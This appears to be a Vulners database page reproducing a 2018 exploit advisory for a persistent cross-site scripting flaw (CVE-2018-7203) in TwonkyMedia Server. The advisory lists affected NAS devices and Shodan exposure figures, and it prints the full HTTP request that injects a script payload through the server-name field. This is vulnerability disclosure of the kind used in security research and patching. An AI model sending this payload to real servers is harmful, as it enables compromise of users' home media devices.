Vulners
Lucene search
TwonkyMedia Server 7.0.11-8.5 - Persistent Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | TwonkyMedia Server 7.0.11-8.5 - Persistent Cross-Site Scripting Vulnerability | 28 Mar 201800:00 | – | zdt |
 | Twonky Server Cross-Site Scripting Vulnerability | 2 Apr 201800:00 | – | cnvd |
 | CVE-2018-7203 | 30 Mar 201821:00 | – | cve |
 | CVE-2018-7203 | 30 Mar 201821:00 | – | cvelist |
 | EUVD-2018-18944 | 7 Oct 202500:30 | – | euvd |
 | TwonkyMedia Server 7.0.11-8.5 - Persistent Cross-Site Scripting | 28 Mar 201800:00 | – | exploitpack |
 | CVE-2018-7203 | 30 Mar 201821:29 | – | nvd |
 | Twonky Server 7.0.11 - 8.5 Multiple Vulnerabilities - Active Check | 7 Apr 201800:00 | – | openvas |
| Twonky Server 7.0.11 - 8.5 Multiple Vulnerabilities - Version Check | 3 Apr 201800:00 | – | openvas |
 | TwonkyMedia Server 7.0.11-8.5 Cross Site Scripting | 29 Mar 201800:00 | – | packetstorm |
10
---------------------------------------------------------------------
1. About
---------------------------------------------------------------------
# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Persistent XSS
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7203
# Category: webapps
---------------------------------------------------------------------
2. Background information
---------------------------------------------------------------------
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos,
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.
Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content
between connected devices. Twonky Server is used worldwide and is available as a standalone server
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.
Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com
Statistics:
Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
Rarely protected by password (only around 2%).
Top Countries:
1. United States
2. Germany
3. Korea
4. Russian Federation
5. France
6. Italy
7. Taiwan
8. Poland
9. Hungary
10. United Kingdom
TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
Thecus N2310
Thecus N4560
WDMyCloud,
MyCloudEX2Ultra,
WDMyCloudEX4,
WDMyCloudEX2100,
QNAP,
Zyxel NAS326,
Zyxel NAS542,
Zyxel NSA310,
Zyxel NSA310S,
Zyxel NSA320,
Zyxel NSA325-v2
...
Other devices:
Belkin routers
Zyxel EMG2926-Q10A
...
---------------------------------------------------------------------
3. Vulnerability description
---------------------------------------------------------------------
TwonkyMedia Server lacks of validating user input in the "Servername" input field.
HTTP request:
POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/webconfig
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 39
Connection: close
friendlyname=<script>alert(1)</script>
HTTP response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 30
Date: Tue, 19 Dec 2017 04:09:21 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1
<html><body>ok</body></html>
Now if e.g. http://192.168.188.9:9000 is visited, the injected JavaScript code get's executed.
---------------------------------------------------------------------
4. Fix
---------------------------------------------------------------------
All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable.
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html
---------------------------------------------------------------------Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Mar 2018 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 36.1
EPSS0.0073